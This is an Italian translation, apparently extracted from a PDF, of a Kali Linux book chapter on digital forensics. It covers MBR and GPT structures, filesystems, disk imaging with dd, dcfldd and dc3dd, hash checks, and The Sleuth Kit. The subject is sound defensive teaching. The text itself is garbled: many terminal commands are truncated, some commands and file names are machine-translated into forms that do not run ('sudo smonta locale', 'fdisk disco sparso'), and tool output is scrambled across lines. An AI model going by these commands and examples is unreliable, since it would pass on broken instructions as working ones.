Sebbene possano esistere decompilatori autonomi, non ce ne sono per
linguaggi come C/C++ in Kali Linux. Invece, puoi usare strumenti come
Cutter e Ghidra per ottenere il codice decompilato dal binario.
Risorse
“Formato PE” articolo di Microsoft
Sito web Radare2
Tutorial di reverse engineering per tutti
"Che cosa è un file ELF?" di Baeldung
Capitolo 12. Informatica forense
I crimini informatici sono diventati più frequenti nel tempo, in parte perché
è molto più conveniente attaccare e rubare digitalmente che nella vita
reale. Ciò significa che c'è una grande necessità di professionisti che
cerchino prove sui sistemi informatici per identificare quando e come si
sono verificati gli attacchi. Mentre la parola forensics tecnicamente si
riferisce alla legge e alle prove nei casi giudiziari, il termine digital forensics
descrive le attività correlate alla ricerca di prove delle attività degli
aggressori sui sistemi informatici.
Come ci si potrebbe aspettare da una distribuzione orientata alla sicurezza
come Kali Linux, sono disponibili ampi strumenti di analisi forense digitale.
Questi spaziano da strumenti che possono essere utilizzati per raccogliere
immagini disco, all'analisi delle immagini che sono state raccolte, alla
raccolta di memoria e alla valutazione di informazioni nascoste in file e
dischi. Mentre gli strumenti di analisi forense della memoria sono
disponibili anche online, quelli che un tempo erano disponibili nel
repository Kali sono stati rimossi, richiedendo di installarli al di fuori del
normale processo di installazione del pacchetto.
Oltre agli strumenti, Kali può essere avviato in modalità Forensic. Un
aspetto importante della raccolta di informazioni da utilizzare come parte
di un'indagine, indipendentemente dal fatto che abbia o meno uno scopo
legale, è garantire che le informazioni raccolte non siano state manomesse.
Ogni volta che si avvia un sistema operativo, l'esecuzione di qualsiasi
processo apporterà modifiche al disco. Inoltre, la memoria cambia
continuamente. L'atto di osservare può avere un impatto su ciò che viene
osservato. Anche l'avvio in un live USB/CD/DVD ha il potenziale di avere un
impatto sui dischi collegati. Due importanti funzionalità vengono utilizzate
quando Kali viene avviato in modalità Forensic da un dispositivo esterno
come una chiavetta USB. Innanzitutto, il disco rigido interno non viene mai
toccato dal sistema operativo. Ciò non significa che non si possa toccare il
disco rigido, ma che nulla di ciò che fa il sistema operativo avrà un impatto
o modificherà il disco rigido. In secondo luogo, nessun disco collegato
quando Kali viene avviato in modalità Forensic verrà montato
automaticamente, il che può apportare modifiche al file system sull'unità
montata. Ciò mantiene l'integrità del disco e di tutti i suoi dati.
L'immagine di installazione di Kali Linux non include le modalità live,
inclusa la modalità Forensic. Dovrai scaricare un'immagine live, che ti
consentirà di avviare la modalità Forensic, oltre ad avviare semplicemente
un'immagine live di Kali Linux senza doverla prima installare. La Figura 12-1
mostra la schermata di avvio di un'immagine live con la voce Forensic
mode evidenziata.
Figura 12-1. Selezione di avvio in modalità forense
Prima di arrivare agli strumenti, è probabilmente utile descrivere alcune
delle informazioni con cui questi strumenti lavoreranno. Dopo tutto,
quando lavori con dati forensi, probabilmente stai partendo da
un'immagine disco piuttosto che lavorare con una raccolta di file. Il motivo
è che vuoi tutte le informazioni che possono essere fornite dal file system
in cui sono archiviati i file, non solo i file stessi.
NOTA
Sebbene in questo capitolo si parli delle best practice per la gestione delle prove per garantirne
l'integrità, l'intenzione è di presentare alcuni dei numerosi strumenti disponibili in Kali Linux. Quindi,
non sempre otterrai delle guide dettagliate che ti mostreranno come gestire la catena di custodia o le
best practice per la gestione delle prove oltre all'utilizzo dello strumento.
Dischi, file system e immagini
Prima di poter archiviare qualsiasi informazione su un disco, è necessario
formattarlo. Può sembrare molto elaborato e potrebbe sembrare che
qualcosa venga fatto all'intero disco. Invece, formattare un disco significa
semplicemente aggiungere le strutture dati necessarie per archiviare i file
sul disco. Innanzitutto, ciò richiede che il disco sia partizionato. I dischi
possono essere suddivisi in blocchi logici chiamati partizioni . Anche se si
utilizza l'intero disco per l'archiviazione, è comunque necessario creare una
partizione. Ciò significa che prima di arrivare a creare un file system su cui
scrivere informazioni, è necessario iniziare con le strutture dati a livello del
disco stesso per abilitare le partizioni e il processo di avvio.
Quando fu sviluppato DOS, i dischi avevano un master boot record
(MBR). Quel MBR continuò per qualsiasi personal computer DOS o
Windows, così come per Linux, poiché era facile da usare, e usare l'MBR
significava che qualcuno poteva avere un PC DOS/Windows e anche avere
la possibilità di avviare Linux. Questo è chiamato dual-boot , il che significa
che hai due (o più) sistemi operativi installati sul tuo sistema in posizioni
diverse sul tuo disco, e puoi avviare uno qualsiasi di essi in qualsiasi
momento. La restrizione era che non potevi avviare entrambi
contemporaneamente. Ciò sarebbe stato abilitato in seguito con sistemi
abbastanza potenti da supportare macchine virtuali, il che avrebbe
consentito agli utenti di eseguire un sistema operativo mentre altri sistemi
operativi erano in esecuzione all'interno del sistema host.
Sebbene i sistemi moderni non utilizzino più l'MBR, viene ancora
comunemente installato su un disco per scopi legacy. L'MBR è costituito dal
primo blocco logico di un disco. I dischi venivano indirizzati tramite cilindro,
testina, settore (CHS) a causa dei piatti rotanti di cui erano fatti, ma quella
forma di indirizzamento è stata sostituita dall'indirizzamento a blocchi
logici, che ha rimosso alcune delle limitazioni relative alla forma
precedente. Ciò significa che spetta al firmware sul disco organizzarsi e
determinare dove si trovano fisicamente gli indirizzi. Ciò vale anche per i
dispositivi che non sono costituiti da veri e propri dischi circolari, come le
unità a stato solido.
Originariamente l'MBR conteneva codice bootstrap. Erano 446 byte
all'inizio dell'MBR, che erano sufficienti per puntare a un boot loader più
grande in un'altra parte del disco. Le implementazioni più moderne
dell'MBR utilizzano un boot loader molto più piccolo. Gran parte dell'MBR
è costituita da voci di partizione. Inizialmente l'MBR consentiva solo
quattro partizioni. Sebbene fosse possibile superarle, era necessario
allocare un altro blocco per contenere le voci aggiuntive. Questa è la
differenza tra una partizione primaria e una partizione estesa. Una
partizione primaria è definita direttamente nell'MBR, mentre una
partizione estesa è definita in una tabella di partizione separata. Se si
desidera esaminare un MBR, è possibile estrarlo da qualsiasi disco e quindi
visualizzarlo con un editor esadecimale, che mostrerà le rappresentazioni
esadecimali e ASCII dei byte. L'esempio 12-1 mostra gli strumenti che si
utilizzerebbero per estrarre i 512 byte dalla parte anteriore del disco.
Esempio 12-1. Acquisizione di un MBR
┌──(kilroy@badmilo)-[~]
└─$ sudo dd if=/dev/sda of=disk.mbr bs=512 count=
1+0 records in
1+0 records out
512 bytes copied, 6.0389e-05 s, 8.5 MB/s
┌──(kilroy@badmilo)-[~]
└─$ file disk.mbr
disk.mbr: DOS/MBR boot sector, extended partition
dd è un'utilità di dump del disco che può fare copie bit-per-bit di qualsiasi
file e, poiché i dischi sotto Linux sono considerati file, puoi fare una copia
esatta di qualsiasi disco. Puoi copiare un disco su un altro disco o
semplicemente scrivere il contenuto del disco su un file, il che creerebbe
un'immagine del disco. Puoi fare molte cose con dd , ma è una base
importante per la creazione di immagini digitali per scopi
forensi/investigativi.
In definitiva, la parte importante dell'MBR è la tabella delle partizioni, e
puoi usare diversi editor di partizioni per guardare la tabella delle partizioni
che è stata definita. È interessante notare che puoi usare uno strumento
come fdisk , che è un editor di partizioni più vecchio, per guardare la
tabella delle partizioni definita solo nell'immagine MBR che abbiamo. Non
hai bisogno dell'intero disco, poiché fdisk guarda solo quel blocco da 512
byte. Per dimostrare, possiamo creare un file da 512 byte e usare fdisk per
aprirlo. L'esempio 12-2 mostra questo usando dd con un set casuale di dati
dal dispositivo urandom . Una volta che abbiamo un file da 512 byte,
possiamo aprirlo con fdisk , e puoi vedere fdisk dire che non c'è alcuna
etichetta disco e che ne creerà una.
Esempio 12-2. Creazione di un MBR da zero
┌──(kilroy@badmilo)-[~]
└─$ dd if=/dev/urandom of=newdisk.mbr bs=512 coun
1+0 record in
1+0 record fuori
512 byte copiati, 5.7429e-05 s, 8.9 MB/s
┌──(kilroy@badmilo)-[~]
└─$ fdisk nuovodisco.mbr
Benvenuti in fdisk (util-linux 2.39.3).
Le modifiche rimarranno solo nella memoria,
finché non decidi di farlo. Fai attenzione prima
di usare il comando write.
Il dispositivo non contiene una partizione
riconosciuta ta
Creata una nuova etichetta disco DOS (MBR) con
identificazione disco
Comando (m per aiuto): p
Disco newdisk.mbr: 512 B, 512 byte, 1 settore
Unità: settori di 1 * 512 = 512 byte
Dimensione del settore (logico/fisico): 512 byte
/ 512 b
Dimensione I/O (minima/ottimale): 512 byte / 512
byte
Tipo di etichetta disco: dos
Identificatore del disco:
0x17724836 Comando (m per aiuto):
Altri editor di partizioni non funzionano solo con un file che contiene i dati
MBR. La maggior parte dei sistemi operativi odierni è andata oltre l'uso di
MBR per una tabella delle partizioni. I dischi odierni sono
significativamente più grandi di decenni fa, quando MBR era comune,
quindi 32 bit per l'indirizzamento dei blocchi logici non erano più sufficienti
su dischi molto grandi. Inoltre, i sistemi operativi sono più complessi.
Avevamo bisogno di qualcosa di più flessibile e con più spazio di
archiviazione, quindi oggi avrai un MBR legacy, ma la vera tabella delle
partizioni è una tabella delle partizioni GUID (Globally Unique Identifier)
(GPT). GPT definisce il primo blocco logico come un MBR protettivo, che
serve a supportare qualsiasi software o dispositivo legacy, seguito dal
secondo blocco logico sul disco che include informazioni sul disco. Questa
è l'intestazione GPT, che include il numero di partizioni che sono state
definite, nonché la dimensione di ciascuna voce di partizione nella tabella.
La Figura 12-2 mostra i contenuti di output esadecimali e ASCII
dall'intestazione GPT. Puoi ottenere il contenuto dell'intestazione GPT,
ancora una volta, usando dd , in questo modo: dd if=/dev/sda of=disk.gpt
bs=512 skip=1 count=1 . Dovresti sostituire il nome del dispositivo disco
con quello corretto per il tuo sistema e il nome del file di output con quello
che vuoi che venga chiamato.
Figura 12-2. Rappresentazione esadecimale di un blocco di intestazione GPT
Sistemi di file
Una volta che hai una partizione, hai bisogno di informazioni aggiuntive
sull'organizzazione di tutti i tuoi file. Questo è chiamato filesystem . Linux
ha storicamente utilizzato la famiglia di filesystem ext , con la versione
attuale ext4 . La famiglia di filesystem ext è basata sul filesystem Unix
originale, quindi ha tutte le stesse strutture generali.
I file system riguardano tutti il modo in cui le informazioni sono
organizzate. Per archiviare i file è richiesta una discreta quantità di
overhead, poiché il file system deve sapere dove si trovano i dati, così
come il nome, il proprietario, i permessi e le informazioni su data/ora. I file
più grandi possono richiedere l'archiviazione in molte aree del disco, il che
significa che il file deve sapere dove si trovano tutti quei blocchi. Il file
system deve anche essere in grado di mettere in relazione le informazioni
tra loro, come ad esempio in quale directory si trovano i file. Quando il file
system viene formattato, viene allocato spazio per le tabelle delle
informazioni sui file e per i blocchi di dati. Viene anche allocato spazio per i
backup di tutte le strutture dati essenziali.
Nei file system basati su Unix, le informazioni sui file (e ricorda che tutto è
un file in Unix) sono memorizzate in un inode . Questa è una struttura dati
che contiene informazioni su un oggetto del file system, ovvero un file,
sebbene vi siano file, dispositivi e directory speciali, che sono tutti file oltre
a ciò che normalmente si pensa sia un file. Ogni inode contiene le seguenti
informazioni:
Numero identificativo del dispositivo su cui si trova il file
Numeri di serie dei file
Modalità file, che è l'insieme delle autorizzazioni per il file
Numero identificativo utente per il proprietario del file
Numero identificativo del gruppo proprietario del file
Dimensione del file
Timestamp per gli orari di modifica, accesso e creazione
Numero di blocchi associati al file
Conteggio dei collegamenti per indicare il numero di nomi di file che
puntano a questo inode
Potresti notare che qui non c'è alcun nome file. Il motivo è che in questi
filesystem, il nome file e i dati sono separati poiché puoi avere più nomi file
che puntano allo stesso inode. Ogni nome file che si collega a un inode
aumenta il conteggio dei link. Quando il conteggio dei link in un inode
arriva a zero, il file non è più in uso. Per arrivare ai nomi file, devi guardare
le voci della directory. Nei sistemi operativi simili a Unix, tutto inizia dalla
directory radice, /. Non hai più root come è possibile in un sistema
Windows, dove potresti avere più unità con lettere di unità diverse.
I sistemi Windows erano soliti usare il file system File Allocation Table (FAT),
che era un file system molto basilare, che essenzialmente includeva un
elenco di tutti i blocchi logici per indicare se il blocco era in uso. Quando
Windows e Windows NT si sono fusi in Windows XP per creare un'unica
base di codice da cui partire, le installazioni di Windows hanno usato il
New Technology File System (NTFS), che i desktop usano ancora oggi,
sebbene le installazioni server usino il Resilient File System (ReFS). NTFS
usa la Master File Table (MFT) per archiviare tutti i metadati associati ai
file, inclusi i permessi e la posizione sul disco. Poiché ogni voce MFT è
grande 1.024 byte, file molto piccoli possono essere effettivamente
archiviati nella voce MFT anziché in un blocco dati a cui si fa riferimento.
Quindi, ora sai un po' di più sui filesystem e sulle strutture dati su disco.
Questo sarà utile come background quando inizieremo a guardare gli
strumenti. Prima di arrivarci, però, dobbiamo guardare all'acquisizione di
immagini dai dischi.
CREAZIONE DISCHI SENZA DISCHI
È possibile creare un disco da un file in modo da poter creare qualcosa con
cui giocare che non occupi molto spazio e non richieda un disco separato.
Puoi farlo usando le comuni utility Linux. Per prima cosa, crei un file vuoto
usando dd if=/dev/urandom of=disk.img bs=1M count=100 . Questo creerà
un file da 100 MB che può comportarsi come un disco. Poi crei una
partizione (o più, se preferisci) usando fdisk o parted . L'esempio 12-3
mostra come creare una nuova partizione in un file vuoto usando fdisk .
Esempio 12-3. Creazione di una nuova partizione in un file
┌──(kilroy@badmilo)-[~]
└─$ fdisk disco sparso
Benvenuti in fdisk (util-linux 2.39.3).
Le modifiche rimarranno solo nella memoria,
finché non decidi di farlo. Fai attenzione prima
di usare il comando write.
Comando (m per aiuto): n Tipo di partizione p
primaria (0 primaria, 0 estesa, 4 libera) e
estesa (contenitore per partizioni logiche
Seleziona (predefinito p): p Numero di partizione
(1-4, predefinito 1):
First sector (2048-204799, default 2048): 2048
Last sector, +/-sectors or +/-size{K,M,G,T,P} (20
204799
Created a new partition 1 of type 'Linux' and of
Command (m for help): w
The partition table has been altered.
Syncing disks.
Una volta creata la partizione, devi formattarla. Poiché non è stato creato
alcun file di dispositivo, dovrai lavorare con gli offset. fdisk ha fornito
l'offset per la posizione della partizione, quindi il comando mkfs.ext3 -E
offset=2048 sparse.disk creerà il file system a partire da un offset di 2.048
byte sul disco. Se vuoi quindi copiare i file nel nuovo file system, dovrai
montare la partizione su un punto di montaggio (directory). Questa
operazione deve essere eseguita con privilegi amministrativi poiché
l'utilizzo di un file richiede un montaggio loopback, che necessita di un
dispositivo loop. Il montaggio loopback con un offset utilizza il comando
sudo mount -o loop,offset=2048 sparse.disk local , dove local è la directory
creata come punto di montaggio.
Acquisizione di immagini disco
I dischi oggi sono grandi. Se ci pensi, la maggior parte del tuo disco è
probabilmente spazio vuoto. Ci sono due motivi per questo. Uno è che
potresti semplicemente non avere abbastanza dati per riempire diversi
terabyte di spazio su disco. L'altro, però, è chiamato spazio libero . Diciamo
che il tuo file system alloca lo spazio in blocchi da 8 K. Dopotutto, il sistema
operativo deve sapere dove archiviare i dati su un disco e l'allocazione per
blocchi è molto più efficiente dell'allocazione per byte e fornisce anche una
migliore flessibilità. Quindi, hai un file di 1.584 byte. Lo spazio allocato è
più di cinque volte quello effettivamente necessario per il file. Questo
lascia molto spazio inutilizzato sul disco che non può essere recuperato, il
che dà spazio a te o al programma che ha creato il file per farlo crescere
senza dover chiedere più spazio al sistema operativo. Diciamo, però, che il
file cresce fino a 8.400 byte. Questa dimensione è maggiore di 8 K, quindi
al file vengono assegnati altri 8 K, lasciando ancora più spazio disponibile.
Questo spazio inutilizzato è chiamato spazio di slack . Questo è significativo
da una prospettiva forense. Quando i file vengono eliminati o addirittura
spostati, i byte sul disco non vengono cancellati o alterati a meno che non
si utilizzi specificamente un'applicazione di distruzione di file che
distruggerà i dati quando li si rimuove. I nuovi file occuperanno lo spazio
del disco e scriveranno su quei blocchi. Se i blocchi non vengono utilizzati
completamente, i dati dei file precedenti rimangono in quello spazio di
slack e i dati possono essere recuperati.
Quando si acquisiscono immagini disco per investigazione o analisi, si
desidera acquisire tutti i dati sul disco perché i dati potrebbero essere
ancora presenti al di fuori dei file tradizionali sul disco. Eseguire una copia
di un disco utilizzando i comandi di copia integrati nel sistema operativo
non copierà tutti i dati. Copierà i dati del file e potrebbe finire con
allocazioni e posizioni diverse sull'unità di destinazione. Dobbiamo
eseguire copie bit a bit o bit per bit. Potrebbe richiedere più tempo, ma è
necessario assicurarsi di acquisire tutti i bit esattamente come sono e dove
sono. Possiamo usare il comando dd per farlo. Nell'esempio 12-4 , puoi
vedere come usare dd per acquisire immagini disco.
Esempio 12-4. Utilizzo di dd per acquisire immagini disco
┌──(kilroy@badmilo)-[~]
└─$ sudo dd if=/dev/sdb of=extdisk.img bs=1M
102+0 record in
102+0 record fuori
106954752 byte (107 MB, 102 MiB) copiati, 0,09854
┌──(kilroy@badmilo)-[~]
└─$ sudo dd if=/dev/sdb1 of=extpart.img
206848+0 record in
206848+0 records out
105906176 bytes (106 MB, 101 MiB) copied, 0.2468
Nel primo esempio, è stato copiato l'intero disco. Si tratta di un piccolo
disco esterno solo per la sperimentazione. Ottenere l'intero disco significa
utilizzare il dispositivo disco, che in questo caso è /dev/sdb . Vedrai anche
che la dimensione del blocco è impostata su 1 M. Per impostazione
predefinita, dd cattura 512 byte alla volta, la dimensione di un blocco
logico sull'unità. Ciò significa molte più letture, il che può rallentare il
processo di acquisizione. Utilizzare una dimensione di lettura maggiore
significa meno letture e scritture. Nel secondo esempio, la dimensione del
blocco non è specificata e puoi vedere quante altre letture e scritture sono
state eseguite. Il secondo esempio sta anche acquisendo le informazioni da
una singola partizione anziché dall'intera unità. La prima partizione
sull'unità /dev/sdb ha un nome dispositivo di /dev/sdb1 . La seconda
partizione, se ce ne fosse una, si chiamerebbe /dev/sdb2 e così via.
Ora hai un'immagine disco. Non puoi garantire che le due copie siano
identiche, però. Sarebbe molto improbabile senza errori, ma è possibile
ottenere delle discrepanze. Abbiamo bisogno di un modo per verificare la
fonte e la copia per confermare che sono uguali. Puoi farlo usando un hash
crittografico. Mentre è possibile generare collisioni con hash MD5, per il
nostro scopo, sarebbe sufficiente vedere che sono uguali.
Tuttavia, gli algoritmi di hashing con uno spazio hash più ampio sono
preferibili, sono facilmente disponibili e non richiedono più tempo per
essere generati. L'esempio 12-5 mostra i programmi md5sum e sha1sum
per ottenere hash crittografici sia per il disco che per l'immagine del disco.
Poiché il disco è un dispositivo, richiede privilegi amministrativi per essere
aperto, mentre il file no. sha1sum usa SHA-1 per ottenere 160 bit di
output.
Esempio 12-5. Ottenere hash crittografici
┌──(kilroy@badmilo)-[~]
└─$ sudo md5sum /dev/sdb
aa70cf471954396111045c842c5a47c7
/dev/sdb
┌──(kilroy@badmilo)-[~]
└─$ md5sum extdisk.img
aa70cf471954396111045c842c5a47c7
extdisk.img
┌──(kilroy@badmilo)-[~]
└─$ sudo sha1sum /dev/sdb
4fae147cd3c9d5c792da976bb1cdfa4dab31e995
/dev/sd
┌──(kilroy@badmilo)-[~]
└─$ sha1sum extdisk.img
4fae147cd3c9d5c792da976bb1cdfa4dab31e995
extdisk
Potresti notare che questo richiede due passaggi: uno per ottenere
l'immagine del disco e uno per ottenere l'hash crittografico.
Fortunatamente, non dobbiamo fare due passaggi. dcfldd è un'estensione
dell'utilità dd che aggiunge la possibilità di generare un hash crittografico
durante il processo di copia. L'esempio 12-6 mostra una copia del disco che
crea anche un hash SHA-256 con 256 bit di output. Per verificare che
l'origine e la destinazione siano le stesse dopo la creazione dell'immagine,
dovrai ottenere un hash del file immagine e confrontarlo con l'output
ottenuto da dcfldd .
Esempio 12-6. Utilizzo di dcfldd
┌──(kilroy@badmilo)-[~]
└─$ sudo dcfldd if=/dev/sdb of=extdisk.img bs=1M
Total (sha256): 186c35799b70a58c5984c311bd7ff8b9e
102+0 records in
102+0 records out
┌──(kilroy@badmilo)-[~]
└─$ sha256sum extdisk.img
186c35799b70a58c5984c311 bd7ff8b9e59fd6e57648f307e
Un altro strumento che funziona in modo simile con alcune delle stesse
funzionalità di dcfldd è dc3dd . Invece di coprire lo stesso terreno con lo
stesso output, diamo un'occhiata a qualcosa per cui dc3dd è utile.
Supponiamo che tu abbia una raccolta di file che ha un pattern, come i file
di registro di Linux che comunemente ruotano aggiungendo un valore
numerico a un nome file. Questo mantiene i vecchi registri in giro con un
senso di quali sono più recenti. Utilizzando dc3dd , puoi specificare un
pattern per la sorgente di input e i file saranno concatenati in un singolo
file come output. Allo stesso tempo, puoi ottenere un hash crittografico del
file risultante. Questo assicura che i file di registro non vengano
manomessi. Nell'esempio 12-7 , dc3dd viene utilizzato per raccogliere tutti
i file che hanno boot.log come nome file con un suffisso numerico.
Utilizzando il parametro ifs , specifichi un pattern per il nome file e il
suffisso. In questo caso, .1 indica che c'è un suffisso numerico a una sola
cifra. Il confronto hash mostra che l'output da dc3dd non è lo stesso del
singolo file.
Esempio 12-7. Utilizzo di dc3dd per aggregare i file
┌──(kilroy@badmilo)-[~] └─$ sudo dc3dd
ifs=/var/log/boot.log.1 of=boot.lo
dc3dd 7.2.646 avviato il 2024-02-14 13:23:08 -050
opzioni compilate:
riga di comando dc3dd ifs=/var/log/boot.log.1
of=boo dimensione settore: 512 byte (presunti)
37462 byte ( 37 risultati di input per i file
`/var/log/boot.log.1':
73 settori + 86 byte in
bc47a998cb34d70888d602aa36eab599f5033b2ab94b8b
risultati di output per il file `boot.log':
73 settori + 86 byte out dc3dd completato il
2024-02-14 13:23:08 -0500
┌──(kilroy@badmilo)-[~]
└─$ sudo sha256sum /var/log/boot.log.1
0a68ad45c41e64e13f80600d6e77cf9dfe6287517fb3bd5c7
/var/log/boot.log.1
Presentazione del kit Sleuth
Ora abbiamo alcune immagini con cui lavorare e i mezzi per verificare
l'output. Quando si tratta di prove forensi, tuttavia, è importante
mantenere l'integrità, motivo per cui utilizziamo hash crittografici. Un
modo semplice per arrivare ai file in un'immagine disco è semplicemente
montare l'immagine e accedere ai file. Il problema , tuttavia, è che non
appena si monta un'immagine disco, il file immagine cambia perché il
sistema operativo cambierà i tempi di accesso, il che altera i metadati nel
file system. Qualsiasi modifica anche di un singolo bit comporterà un hash
crittografico diverso. In questo caso, sappiamo cosa ha causato la modifica
dell'hash, ma se è necessario dimostrare che i dati sono gli stessi dal
momento dell'acquisizione a dopo, è necessario assicurarsi che gli hash
rimangano gli stessi. Un modo per farlo è montare l'immagine disco come
di sola lettura, in modo che nulla cambi. Tuttavia, questa non è una
garanzia. L'esempio 12-8 mostra che il file system cambia semplicemente
montandolo se non si monta in sola lettura.
Esempio 12-8. Modifiche risultanti da un montaggio
──(kilroy@badmilo)-[~]
└─$ sha256sum sparse.disk
763f84016cca9f829de5f980e98d16b2328c48fd3cec78b96
┌──(kilroy@badmilo)-[~]
└─$ sudo mount -o loop,offset=2048 sparse.disk lo
┌──(kilroy@badmilo)-[~]
└─$ sudo smonta locale
┌──(kilroy@badmilo)-[~] └─$ sha256sum sparse.disk
fe431e67967c9d237259885ea220a07e188c1b0bf1e34dba2
┌──(kilroy@badmilo)-[~]
└─$ sudo mount -o ro,loop,offset=2048 sparse.disk
┌──(kilroy@badmilo)-[~]
└─$ sudo umount local
┌──(kilroy@badmilo)-[~]
└─$ sha256sum sparse.disk
fe431e67967c9d237259885ea220a07e188c1b0bf1e34dba2
Un altro modo per esaminare il contenuto di un'immagine disco è usare gli
strumenti di The Sleuth Kit (TSK). Questa è una raccolta di utilità
specificamente progettate per esaminare le immagini disco e i file in tali
immagini. Per prima cosa, esamineremo un'immagine disco che ha due
partizioni. Poiché questa è un'immagine disco completa con il record di
avvio intatto, dobbiamo conoscere gli offset delle partizioni per poter usare
alcuni degli altri strumenti in TSK, poiché devono conoscere l'offset nel file
per arrivare alla partizione. Possiamo usare fdisk per ottenere gli offset, ma
possiamo anche usare mmls , parte di TSK, per ottenere maggiori dettagli
su cosa sta succedendo con il disco. L'esempio 12-9 mostra l'output di fdisk
e mmls per il confronto.
Esempio 12-9. Output fdisk e mmls
┌──(kilroy@badmilo)-[~]
└─$ fdisk -l miodisco.img
Disco mydisk.img: 128 MiB, 134217728 byte, 262144
Unità: settori di 1 * 512 = 512 byte
Dimensione del settore (logico/fisico): 512 byte
/ 512 b
Dimensione I/O (minima/ottimale): 512 byte / 512
byte
Tipo di etichetta disco: dos
Identificatore del disco: 0x1ecaf971
Dispositivo Avvio Inizio Fine Settori Dimensione
Id T mydisk.img1 2048 130000 127953 62,5 M 83 L
mydisk.img2 131072 262143 131072 64 M b W
┌──(kilroy@badmilo)-[~]
└─$ mmls miodisco.img
Tabella delle partizioni DOS
Settore Offset: 0
Le unità sono in settori da 512 byte
Lunghezza inizio fine slot
000: Meta 0000000000 000000000 0000000
001: ------- 0000000000 0000002047 0000002
002: 000:000 0000002048 0000130000 0000127
003: ------- 0000130001 0000131071 000000
004: 000:001 0000131072 0000262143 000013
fdisk potrebbe essere più facile da leggere, ma mmls mostra lo spazio non
allocato tra le partizioni. È possibile usare strumenti come dd o dcfldd per
saltare lo spazio partizionato e recuperare solo i dati tra le partizioni, ma
per i nostri scopi qui, daremo solo un'occhiata al contenuto delle partizioni.
Per prima cosa, possiamo ottenere elenchi di base delle partizioni usando
lo strumento fls . L'esempio 1210 mostra il contenuto di entrambe le
partizioni nell'immagine del disco. Vedrai che gli offset qui sono 2048 e
131072, che sono gli indirizzi di partenza indicati sia da fdisk che da mmls .
Anche senza i dettagli sul file system in uso, puoi capire il file system
dall'output mostrato qui a causa di voci come lost+found. Sia fdisk che
mmls suggeriscono anche il tipo di file system utilizzato.
Esempio 12-10. Elenco dei file
┌──(kilroy@badmilo)-[~] └─$
fls -o 2048 mydisk.img d/d
11: perso+trovato r/r 12:
8572.cr/r 13: elfbowling r/r
14: procdump64.exe r/r 16:
payload.exe r/r 17: ls r/r
18:
oreilly.png
r/r
15:
plugins.txt
V/V
32513:
$OrphanFiles
┌──(kilroy@badmilo)-[~] └─$ fls -o
131072
mydisk.img
r/r
6:
lsass.exe_230809_145713.dmp r/r 8:
elfbowling
r/r * 10: life.swift r/r 12:
oreilly.png r/r 14: .zshrc r/r
17: zip-password.txt r/r 19:
8572.cr/r
22:
procdump64.exe
r/r * 25: .life.swift.swp r/r *
28:
.life.swift.swx
v/v
2092995: $MBR v/v 2092996: $FAT1
v/v 2092997: $FAT2 V/V 2092998:
$OrphanFiles
Se non è chiaro, il file lost+found indica un qualche tipo di filesystem
orientato a Unix, poiché la formattazione lascia quel file al suo posto.
Inoltre, $FAT1 e $FAT2 sono le due tabelle di allocazione file su un
filesystem basato su FAT. Qui sono mostrati elenchi di file di base. Proprio
come con ls in Linux, puoi ottenere maggiori dettagli con ulteriori opzioni
della riga di comando. Aggiungendo -l a fls otterrai un lungo elenco che
include i tempi dei file. Questo mostra più del tempo di base spesso
mostrato negli elenchi di directory. Questo mostra i tempi di modifica,
accesso e creazione (MAC). L'esempio 1211 mostra l'elenco più lungo con
quei tempi.
Esempio 12-11. Elenco di file lunghi
┌──(kilroy@badmilo)-[~] └─$ fls -l -o 2048
mydisk.img d/d 11: perso+trovato 2023-09-17
10:32:38 (EDT 2023-09-17 10:40:04 (EDT) 2023-0917 10:32 r/r 12: 8572.c 2023-09-17 10:40:15 (EDT)
2 2023-09-17 10:40:15 (EDT) 2023-09-17 10:40
10001000 r/r 13: elfbowling 2023-09-17 10:40:29
(EDT 2023-09-17 10:40:29 (EDT) 2023-09-17 10:40
r/r 14: procdump64.exe 2023-09-17 10:40:38 (EDT
2023-09-17 10:40:38 (EDT) 2023-09-17 10:40 1000
r/r 16: payload.exe 2023-09-17 10:41:11 (EDT
2023-09-17 10:41:11 (EDT) 2023-09-17 10:41 1000
r/r 17: ls 2023-09-17 10:41:31 (EDT) 2 2023-09-17
10:41:31 (EDT) 2023-09-17 10:4 10001000 r/r 18:
oreilly.png 2023-09-17 10:42:07 (EDT 2023-09-17
10:42:07 (EDT) 17/09/2023 10:42 1000 r/r 15:
plugins.txt 20/09/2023 19:09:49 (EDT 20/09/2023
19:09:49 (EDT) 20/09/2023 19:09
V/V 32513: $OrphanFiles 0000-00-00 00:00 0000-0000 00:00:00 (UTC) 0000-00-00 00:00:00
0000-00-00 00:00:00 (UTC) 00 0
I filesystem contengono molte informazioni che semplicemente non puoi
vedere senza un po' di aiuto. Se vuoi conoscere la struttura del filesystem
così come è disposta sul disco, puoi usare lo strumento fsstat . Come
mostrato nell'Esempio 12-12 , la partizione è ext4 e vedrai i timestamp di
data e ora che indicano quando la partizione è stata scritta l'ultima volta e
montata l'ultima volta, poiché tali informazioni sono memorizzate nel
filesystem. Puoi anche vedere l'ultimo punto di montaggio utilizzato. Vedrai
anche maggiori dettagli sulla struttura interna del filesystem, incluso il
numero di gruppi di blocchi e dove si trovano i gruppi di blocchi. Ogni
gruppo di blocchi avrà una tabella inode e blocchi di dati in cui sono
memorizzati i contenuti dei file. Questa, ovviamente, è solo una piccola
parte dell'output di questo comando poiché ci sono più gruppi di blocchi in
questa partizione.
Esempio 12-12. Output fsstat
┌──(kilroy@badmilo)-[~]
└─$ fsstat -o 2048 miodisco.img
INFORMAZIONI SUL FILE SYSTEM
--------------------------------------------
Tipo di file system: Ext4
Nome del volume:
ID volume: e2f84ed42055e9883248f29e578ed928
Ultimo scritto il: 2023-09-20 19:14:40 (EDT)
Ultimo controllo: 2023-09-17 10:32:38 (EDT)
Ultimo montaggio: 2023-09-20 19:13:51 (EDT)
Smontato correttamente
Ultimo montaggio: /home/kilroy/mnt
Sistema operativo di origine: Linux
Struttura dinamica
Funzionalità compatibili: Journal, attributi
estesi, ridimensionamento
Caratteristiche InCompat: Tipo di file,
Estensioni, 64 bit, Flex
Caratteristiche di compatibilità di sola lettura:
Sparse Super, Large Fi
ID rivista: 00
Numero di giornale: 8
INFORMAZIONI SUI METADATI
-------------------------------------------Intervallo inode: 1 - 32513
Directory principale: 2
Inode liberi: 32494
Dimensione inode: 256
INFORMAZIONI SUI CONTENUTI
--------------------------------------------
Block Groups Per Flex Group: 16
Block Range: 0 - 130047
Block Size: 1024
Reserved Blocks Before Block Groups: 1
Free Blocks: 114095
BLOCK GROUP INFORMATION
-------------------------------------------Number of Block Groups: 16
Inodes per group: 2032
Blocks per group: 8192
